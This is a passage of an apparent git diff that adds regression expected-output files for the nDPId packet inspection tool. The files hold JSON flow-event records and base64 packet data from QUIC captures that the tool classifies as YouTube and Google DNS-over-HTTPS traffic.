41udof7lNxBkAAAAAQAAAEMyNTVDwyMTjfiB70PDIxON+IHvmpHtbxwAgQ5AC3uQqa5564NqFQAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00634{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_q39.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1509098995610,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"170.216.16.209","dst_ip":"21.157.183.227","src_port":38620,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.YouTube","breed":"Fun","category":"Media"},"quic": {"client_requested_server_name":"s.youtube.com","user_agent":"com.google.android.youtube Cronet\/63.0.3223.7"}} +01938{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098995,"pkt_ts_usec":619706,"pkt_caplen":1174,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1174,"pkt_l4_len":1140,"pkt":"AAAAPJ7rSEb7OSWDCABFAASIpypAAD8RBxGq2BDRFZ2345bcAbsEdFQcDeca1dd1bE1NUTAzOQJfXHZ4r4NHY5hNEdjLP+5ayCAfN4aRrJwcGbvr9Ig30\/shURCI87o6EE5x2r0qaxNPy9ijcArYvwm83T\/uUNOwvPrQL1kQ63P7NcdMjvNaDrlFf0DGfuOc7NBPTTXBkaePu98lEtAf3wsOApXg5IhtfmWdfKrgEpCXWFWsxttw6C4\/lCwJqkUGaOjHW5OhnY9r8qCDBdkX4XN\/4WmFW6nWq\/XYAKSy+w3zKPd0+LJKlxsYwrzgGV2rjQwmb93iv1FFvCzNy4lqNoUoMblenytDJV5TJvGYH4s+\/7AX7HDhbJj+lIeaRA3g7dV3H3kgoU\/SpbsdOzy0YVY6Bp9yZermraiyHURn7bAotygD2Vp7YwNcdNEG9BU3funEay5GDjyBK1j66ZDJgNXirLZjzse1+VcJnT0WzMubicwvU30jDw+McSt9Bti6\/gP9FAz9\/lD31IeL8vackSc4lx75mviO5HS6BA\/NqsjQ9B8m4Ji2diYR80xUpIbgdFQiU+oifhm6+LGlaffXf5zfdWBFidIfld\/b7JT3SCK0xn1oi2TKxI8Oroqc4ijms7JGelhl0fef2CpmP0WCIT2YgyU6YwvWa1W7lII+N1ZbTeUAByGqF1QhTf5cSKd79GJRi+dbNY7B3Wj4KJv9v8GAF7TKwPiEZdDEpbOPHL\/FjvVpM04y5hU8HR+06oyFgTK1\/6hdbKNXNH9cJjr2nmUmezntPWc2AFfXM+e\/7E1fv7zcT4Kq1YOLXr9\/RjJvDNQoj81czTWLgfREm6KUrj\/r6fSbFJFnhuScfBlR9k2Pc7b3lIEZb0KXGhxHCyB1J7D8gUoqDhJYFGV+VkGVNhJpozvYPJ8ykH\/Y41HD8nsSDL9iDj9URAxCKHefDlX7Pwz6OhBfkcIZAyY3zG\/w9rr4x0Pl7U6qcsdZ1MBpDJ9qjugA+Tt8C4JpvLxNAR0kx92LyFnt3BYr58WDPwTbktI01oxzKDO5QfY46azjmnqJ+Or2LI93bDxwCMYKsLGAmehhGKZad4Iy8CQig4MBQDG0NMhHKAI6+BaplljmUnDnEalyg57\/03tWWLR4CQIYoKQ9N\/\/fDmFtkFJjraB0A767qxG7Cy8Linc3qzCa86538v6kM371bSCg\/XlL+EWzVEgq8MNOp+Kf2xPBIqWXFiVMGJ1GcpQwm6iQItRpY+85J5+RUK5X+3OW5ex3EYIjJUr+g2x3sFkDiuAsaRHgrjj6WnNpOZnghw1uaYp+E3H8VPrRSwSKqch7lieJx+ojtBtD\/W9etVSxGJeGD7lz+4wIhuht4d\/jcmgefkRDKcrraaR9azCKs\/kbJ\/PpVxbRsVvTZyAXgG+ABf\/0Dt+UshFkLro\/tuKww4FrErwElInQ+88Azyk3w8tcu1AYrDqSPj2BvjSRVwl0PO7TtbVWqgcuYET3exljbs22Rr5eyEoiPXhNZMDC79zLn441b43FrUKvwSHTJR\/j33VYKbaP4oVCvb26Vw=="} +00442{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098995,"pkt_ts_usec":647453,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"AAAAPJ7rSEb7OSWDCABFAAA\/AABAADgRuYQVnbfjqtgQ0QG7ltwAKyQ\/COca1dd1bE1NATKbKH1UbNEn\/TIU5EABJEsBAQAAAAANBgA="} +02225{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098995,"pkt_ts_usec":737234,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAPJ7rSEb7OSWDCABFAAViAABAADgRtGEVnbfjqtgQ0QG7ltwFTuA6BB7VA3w2dE7ZqQu\/HA9+aSHkQAacyJMtou\/Ld+GIcjTwAhOnbZl1DccdsXKM9X+aGBaaEp2k+gMriAxw7XUSiNYtQZBUSBNLFOTdb1hYpN8c7IZOsaDblarfxUPQxJ0gnkUeqkr4fuRbUc3rNSCo1QMBgMypO2NvSL5l22mGXYSmNX3toGT7ULzZsB61Qo3VdWUFY0IjS2GhkCgN+m+wvx9GGU9V5L0IHzmROUCwSwmxHH1ErMsKb5C0SPh8Moiuuma+1VPhe\/4G2icjKqB05ASgsiwkrwe4SR8d3GFtuFbHeuQE6CX\/fbhRn85iCZ81UU0O0DtLEzTpnpEMp\/HcwAW3wA0AsKtudDGHnSOUULPkFVRBhVhpeLqS2Li0YMUrWjkhCHDN9UoHpPxrqdDBOs6cnSVYtFl87oKhCwSDMwSNx1tbGBLcoib6tTeCM4ikOzQpKXL\/lxnGVpm2twrSoh9tDYCOMzC8iEwjRh8w8znhREm8bviBNUYoIfHaNCNbITO03cVWyavFVXmYqlGo+ZASq8dcX96Cx1fYD2dNrv4jvEfzhZHi9j3aqseDNoE+cm3+PWctSwnMNfg\/cAZ6+izl22P83dYaovKhaYXtYVtRaEh1uryXKQuvrbxgzqoMuHHkrg7QEJUZ5gmgRTEecPSWIb8SUwZxdqcpLdU2L\/gN+0XORpCHTJoVoXg6Lvf7E\/f\/bT1pGfsk0tHNVABNBD6SIl1dnyG5O14yJfWoVmTI2+G7UprA72A7KqcWm\/Y9PRilKUqk0W23OKWXwmQihG5TnwqOI1ASAfZdL\/efwkHmsUuwXwuaJv3FGekCSnevBUaUlKAb3RLPfFDu91ImNXm9aoyBuraDr8zBZ9bqaHnt+JcnWMwjFSOpYRdAjWYbEr13AgYr52pgu\/XfErhcDNHbPXjSUwKIzgcTnM8QTMujWWFjUns5aLY\/Mv0qOvbYcFGwXDlw8OQM5Q9vAraMzp0pOrSxRQJyeSoZ66v\/2PjjGS0ghqZ5wQB3xtFoLAlr2HDEgPgkAvO2RItTesAv\/vsh7iK4WvlZWfptfy9Gni9zKT+BCJpVckSsMJNJa9QOIqDZGcD7WdvqPZ\/+gs8I2oZlbXo5frTZi1mSER\/Qjm4utM3efHWXJNIk2goUh46mzxek43peBjGUnwswHlZbLnqUTKXJel3ddyov8qXphMbEnQYip6mhFYg367RZ8YRU4EKrwLm6Xcw9FNoa6Z5lJKJijsH5vSnEkZ0v8YX0MjTBReOeuoFmSr+AJVjpSlg\/7643dClWP4cXx3jdn+gn82y3LOeYLD2p8lV3aWTEv0GVmHGW+Hm9xJDl2bHgxIBcRhyDRGQFOC\/Z7+ehu0MP0\/0K5CKWxMw6rUTxM3JDgsEv2bV8wJzw544w3P4lqj\/UGLv3pSXxIfWP\/1WvqksJ+oY1kY5SVPXHla+pr7Q4eBAjdUPT41ziSFsQn5NBuGGWEuFCF\/QbEKcOu1F8TZ\/1M4MdpRIdqR8tFYEo+Vg9m6TwjRMK66fE6Mb60JRytY107EKpRJxBagZcwKIXCY2mZAsGOuehm5fQ1M5eVsO+apeXG3c9KMIURyf9ctvuQNWeWR2FIFfoH98C+ht+\/SSxjmFeV\/+d0QtrQ1HpAJKWfFcOZ2e+SesZS6k9AGyJLmN0367Nn6pJG6hN5CQDPLk+C3kOYs46LBkhHg0plOlFrwwdKcByjY68Z2VuRM7vrTmQWs6\/Tsdq8ti5cqSfOmHnALup6x5Ipr3zDykeMyuckk03bWXQ7Vwm7LKwDjsFd1vGiyvmKkwy"} +00435{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098995,"pkt_ts_usec":737241,"pkt_caplen":73,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":73,"pkt_l4_len":39,"pkt":"AAAAPJ7rSEb7OSWDCABFAAA7AABAADgRuYgVnbfjqtgQ0QG7ltwAJ9O+AAM4OmALOTw1M50FdwtLmPXhOu9ZZKxYgqiuY5AjrA=="} +00448{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098996,"pkt_ts_usec":23836,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAAPJ7rSEb7OSWDCABFAABFpytAAD8RC1Oq2BDRFZ2345bcAbsAMfPnDOca1dd1bE1NA3h4HeBMTXQOayalF\/QaAJiQwR\/6Djv+UE9aACC4+BA="} +00446{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098996,"pkt_ts_usec":25203,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAAPJ7rSEb7OSWDCABFAABFpyxAAD8RC1Kq2BDRFZ2345bcAbsAMUzFDOca1dd1bE1NBK3363QEAdAHzIGVJUE49YkvwEC+uRoauYMJCKMjo98="} +00431{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098996,"pkt_ts_usec":35535,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"AAAAPJ7rSEb7OSWDCABFAAA6AABAADgRuYkVnbfjqtgQ0QG7ltwAJui8AAQYElnH+hWbHkQ86hXYP3uGXC\/gDALIe5xMvGSc"} +00750{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098996,"pkt_ts_usec":154756,"pkt_caplen":305,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":305,"pkt_l4_len":271,"pkt":"AAAAPJ7rSEb7OSWDCABFAAEjAABAADgRuKAVnbfjqtgQ0QG7ltwBD0sjAAVTBeiAl7ntS5NykPdurSWiF\/Pq256thJd6OWCLNlkAz1h7Lend+e7DS2G9s4wZD5yy2vudpPrrlsh7FYV1PASmjKNvCqMMmaIDvM0KGV34CSM8gOVZK2CN3r2b0Gf99ra2rAUd5d4K6E3s5qcf3PvKNZYvSnOdMX4lMX15pc3dKTlU6wtmArfh54PtheVKBu4iPYcY1dt\/Vo20m+t0w2I4fVGxx6TMJz2VmyjGUe86tcZAmjTxl0NepLiG6AXqV3Nj2GnqLTMY1BE3977fAG55M1X+ojk+EdlwjzVsge774iA8Kf+zkWt8expHP+fHfU\/jOxXIfcB1Qv1jctg1Oyr\/1I6flZ8="} +00417{"flow_id":1,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098996,"pkt_ts_usec":154787,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":24,"pkt":"AAAAPJ7rSEb7OSWDCABFAAAsAABAADgRuZcVnbfjqtgQ0QG7ltwAGBKCAAZn7CMV8qbL0fWn6oOhzgAA"} +00450{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509098996,"pkt_ts_usec":459984,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAAPJ7rSEb7OSWDCABFAABFpy1AAD8RC1Gq2BDRFZ2345bcAbsAMTXODOca1dd1bE1NBR2XsPNLaaAz17Xgg2vx1O\/aNX9HhEB0OS4draxwc54="} +00706{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509099002,"pkt_ts_usec":645326,"pkt_caplen":270,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":270,"pkt_l4_len":236,"pkt":"AAAAPJ7rSEb7OSWDCABFAAEApy5AAD8RCpWq2BDRFZ2345bcAbsA7P4vDOca1dd1bE1NBkjrsEYID7te43Xl7gQHp417fhXLMrmwG6QcoSWIfV2E843bE38Wtjm0xPiGFaJO3sqnW9cWbIvxUaAby68s0ZcNPEWtJDuJl0qIXX1Klm0O5Kpu\/+0HdqN6ebawlrB8V9Snsnaks4lxJkKjdu6\/w0GgTvmxqbgzW8rimML9yE\/lzFWPfKuh1BxNCtgFcU4GeY8bup+WQgSWO+cJC9Gd+B+UR36Cjsvfe9ASg41+e5pm4kgO\/JU\/N\/xXTEdF5w5PjLhVCbxX3HXsKrCtYufsws05yA5oy3vwR875"} +02225{"flow_id":1,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509099002,"pkt_ts_usec":658145,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAPJ7rSEb7OSWDCABFAAVipy9AAD8RBjKq2BDRFZ2345bcAbsFTok4DOca1dd1bE1NB7n\/rpIFgHtUM96xZF0GVfYPWRwkZ4yP60AZq1GHb2QAF7rjwFpSfz1mj\/EjuaEhYizFTmGKt+91IIo4G5AVRNyMWWITa1+O6mILjEhpLETYoIoWTFfErxi2z6NsrSzzpd29SL7Cnquc0W3z8omOIMtlB0rvgX04jKKgT32hlpVFK0sazG\/3WEgWEKoZ57DQCO9WERU\/GNcYGxhFH3Un2mFD\/WyTLohtkpFjtTYf3a8s4X4qlPJFPuwcThJ\/BoazlhaMbmCj+8T4mSqhW5EDv1D\/gzwF9YBx+uyYmBx2XKJUO5wojo+1jz8ll9Y7agZ2dvomnEdhK\/glxh+M2DwHeo8bv6DM7gMG0SHAEwQ4ME2mQA0FvxGP6EZH9OJ+6ss6deSKDzsUoYgF0lQQBVV4Jc8zUjRcZ170PK7jkTgizBbHElUuDjecZU7FjrlIsNMeWAplvUulCYEawFc6k3ABAsIbzi2Qw6A884B3kzhbjGSJECuncxhjYuJnXzI7sDwP2ghXTkyA+kimHL5766qGwFqeaMTMqBUhvtN+aiIsYLfvcrKn1QslWdEgXuXUnDQzgd4PpHXGpcFnFgm2tBb9tIGrObkeSxVvqtHcE6xhLAhvXcVrNTJWwnXp80idCzE0nlrameiH9BxweegI7AleU29QRp2e+9ygPdL3\/IVTRuar+bVlU3MAPUmzp7EfXKncnxansGPswBE68l1kx0uQH+LzrJATDUZnodrnSBYjKHAQGs9Rfb6Wlz4VuBtSq6Rla0sx\/nIvVUQ6m0HRxvF46NDFVwajCWChs+dJMLKi3TetsbUwbtLawOTlEDenA5144T4lt64q3dtzd4VVnhFthY3qCpdCxEtQMoWRYA9gCSA7rCFLiPmQmy4HAQ7rsXkw3C9629mSxM9HCbIcf9jymgYoKbTwUNPyXh4FAB8p4lSxWSZIjrWNrnZ73Nhy7P2m3DYcpW6XJa152Hayr3pbOJW5Kj0j2ug1elYfi\/NLpbHbFyJlUNYGXsMMbmjfygwucIQ2ynpgpyNvxt8XAS\/sI4l1GIIG6MtxOucYEDtavEWjWGpgSiKedS1fvTxBvADquDHg\/ux20iYHbks\/\/p2WGriTQoeWEv1kSlSdT\/gEfbgS5IR8S4E2ncu9qlexOuGA1EpTRkQ9SgSVOMDxtOmDMI6Fex1Bi0vp08RpTSvDbzW1l1QiNivixatyGJl1FF46DjtY7q4OYHlGhwQXf2gA2HJeqUWZ3XFjxpJAwQ8xoKY9nelCdYBsBgAgbZM\/zMO09cj+Vzcn8Wg54UkmIc22VNoKzGB89lH1\/51gA4UN+wZrdYSvaLjPWWmrlheua2aQUk4xdVlxjE\/Yh74tM3BWCMDegflbfLLX4MdA\/nbOGKabWYCbniNuCsgmimf3+guIhzVspib6f+yR6\/6LleVb8gfNcwO4NS6CruaVil7mo0qoqrGaNXKBeP7dUnP11VGpvOBvS\/eu3BHQIqbkNr4T\/2rAM66eOELs0\/cvK3Ag4Luxy\/jMEXDVXr1Xuz0jl3CImg4gEBjlT1ur51Crko6QVANt0b7VSyiv3x2dk+pAwN8fdbvhXHHdUMj43SdWJqiTKaPqk1WAutn1S4DZ9oUMHTZVRVApAuwSTj6Ieo\/KdMnO9SoiZPva9AhsU2bDvsjxCOOdD+yYAmOJTqwkbQzSwVLbgL2uMGtTM458RyKe1i5GuOa6L+JyeOfebUifLHADasrdy6Nl2+Linzu7yIK0AyA67FdYEoOL4Uju2WRndCx8UAIvXrOeAAXyCZl1"} +00441{"flow_id":1,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509099002,"pkt_ts_usec":669430,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AAAAPJ7rSEb7OSWDCABFAABAAABAADgRuYMVnbfjqtgQ0QG7ltwALBnVAAdiKdDVFsewFUV9tQMV4S7VXC08w2rtkQj+4PK61Zm2gXhH"} +02233{"flow_id":1,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"quic_q39.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1509099002,"pkt_ts_usec":669496,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAPJ7rSEb7OSWDCABFAAVipzBAAD8RBjGq2BDRFZ2345bcAbsFTnGmDOca1dd1bE1NCEDGSCS6CpN1gn+hs3\/OBWtuqhvbB1BmM0CLGfGZXhrE1a0YMUWLncsB3JYlR0zQR58euNUaKo10\/scQGQnEFufSBkgnU2frk0WlzryDYm2sz+IorYl62WCRmKOufrjmnfRuxa+QmKZ5OSOn95peSYyEUegRkVwv5J8IRpZfBNlSpkW3GlKkUGpPzOvZQCQNU6ierzq8OyOsKYBXRYE8LTgbRzx5bvR0ElNCUGQHcerGgiqoibt8RR0OVvZ7XuQlXrh1LVMkCBleV3FI6CoRE3mvFkZD71LGK251GpID\/BzrZBprJLKWSkM4L\/MCUnhQ3dDueCThk8qkjpfnkm4t4oacIr1CcwiGfIVgFCWdiQpJYFqK5EtjXrCILEaJSYSlqirijr8Irw1pKxlb7KRyNi627qiQeMULDWWvkd7cNYL+RvcKDpuFItNgZ16cKJpOvy3B+w8YcNlTt3QbB4JaY4vtTD9ql0+oBKH5Cl2sQc1wtWaDwNo85WLijHkHfKn4kResl2rjWTzlPF9CsN6tMqaeeqKqbvEZAE0be4eblaB3RtHdiQ1IPhOnv71XkHArzB5ggHUzn4ZWQ5qKViJtNMgAvDcChWV5opIzw\/zFWMaaAHrrX80tyo0\/Cn1vwu9GKmBk1kOk0qxags\/Yby0BCWH3R6qxpjI2ePbaCAN\/CZ4mrcnjtd8\/8yEoOC1F\/NZQureeglyyr5WPZdl+I9+0icXcSSWIGbnMbCW2Gqnan\/PEF6yEFRbrIuK9rz+CKpCp3xWhcprXViDQXiPQTcVafXFF9iSjEaxr93GF3Tx77dmBjDyl+bkysejCHxgldhZJfVsQ9yXJZvHA\/vikr+dthXsOJISwApyvvOagJZNt4iwhFcTnr3sjxdBSc58qHCffPSg3CAqNi0\/FqcTa4IsqpRiRnoTkCfu1XF8SHBOu7AyT1c\/fubqE3LU7GukFqoj+SLNTW4cgl\/o1dy3bjrE8ZZNBfW\/2mhLblx4\/5gxbCsFWA+z4Ga9oLn33ws8j\/IOK\/9gRz5POJi17pLerOmQiJc\/rZN0mRVutFQUbBeBhU38zQ8++WcLY3uzB1tJli\/EQIwvmz1C5pTLqS79DJArMmvPMlmyRgjcAp\/qBAh94PXYN4Y3cbFc0kIWhDsG3MAoVKL6ptZyFg+OppJBQcRfYOFYvlhnRbWycb4pB8wzuKEGvNdKGe05WPkznr7nlJzkYSAhKlQ4JdYyvdT5aCd4p12shaypPbEKAyC+txXhm320YtM\/kAXnq3I6jNeWnWsWifcOCbYKKzlI\/lI9mAa34CHbC1wSujlIRBZBulJ5XFBpVcepctnc7fE1yTq3bKuOqNaZm\/j6\/RqnjSGf6hIiFirXwp\/K9IlWEsg98he6FmjSKQnZ2IU1LNlO6bsvarQQax\/krnwLzJbNKti8k2DS0AeKAQRaRXgW8eSm4qkRH9oHbEhAyQBSL7AeBg+U1oU9uMxPyIKGpSkkldySR3pkomSIF\/ixuiMmKDtUm+xzWoqga6ZTHMJMTFRrfGt5I7AXVA9Fq2\/OoDiaB49rmJu4CWOz7PjQrr8ww0Y\/2kF15xDM\/BZlFUfWXw9EAoNElGskiYB6oy+PBTj0dX1z7a+Vg5V4TuACnZrya0PKssqXYUMLtr9uO2YtKvqZk1T2hpa1h5XnLhRl255ZKEiFFAejFgu5WiQy8+db6bZMAtB84rYRAAbfvdvy2q+YpkjjAbhIQI1coBJ8yKsirsK2i2F49g\/nEOs7XxmMidu0K0orhrVjAa8mJjs3qw1aXW\/E1"} diff --git a/test/results/quic_q43.pcap.out b/test/results/quic_q43.pcap.out new file mode 100644 index 000000000..edd152513 --- /dev/null +++ b/test/results/quic_q43.pcap.out @@ -0,0 +1,4 @@ +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_q43.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388060203,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"51.120.20.202","dst_ip":"72.119.217.29","src_port":49241,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02201{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_q43.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1592388060,"pkt_ts_usec":203207,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAA0A1ZJ\/CABFAAVitYFAAD8RFzMzeBTKSHfZHcBZAbsFTg3gDeg8d72PiRX5UTA0MwHUpsx5z1djkhIB1MqgAQQAQ0hMTxgAAABQQUQAKAIAAFNOSQA2AgAAU1RLAGwCAABWRVIAcAIAAENDUwCAAgAATk9OQ6ACAABBRUFEpAIAAFNDSUS0AgAAVENJRLgCAABQRE1EvAIAAFNNSEzAAgAASUNTTMQCAABOT05Q5AIAAFBVQlMEAwAATUlEUwgDAABTQ0xTDAMAAEtFWFMQAwAAWExDVBgDAABDU0NUGAMAAENPUFQcAwAAQ0NSVCwDAABJUlRUMAMAAENGQ1c0AwAAU0ZDVzgDAAAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1kbnMuZ29vZ2xlLmNvbR8ykEILcj\/tFGrck4XfPyIJIy1Wp2EOyj96Sbv5OxbQ7GtzdqXVHstRevTu5j9sOKKoV3MEbVEwNDMB6IFgkpIa6H7tgIaiFYKRXuiYTDAwMDAwMDAwL8w4xnPBiaheNE18yX+i9poR99hBRVNHfnKffIxl9aDtAhVkrBteYAAAAABYNTA5AQAAAB4AAADs\/0Yi1mMvJ+MeFLVM06sFxTPtG7icgHbJd6FPguzZ5DspSAr1qmJOAogGqdfyO9QJ05Fvsk1n4Zg7QCWE0DkiZAAAAAEAAABDMjU1W+x30vZEmVNOU1RQW+x30vZEmVNgMsuSoEFN3\/mAAgAAAPAAAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00573{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_q43.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1592388060203,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"51.120.20.202","dst_ip":"72.119.217.29","src_port":49241,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.DoH_DoT","breed":"Fun","category":"Network"},"quic": {"client_requested_server_name":"dns.google.com"}} 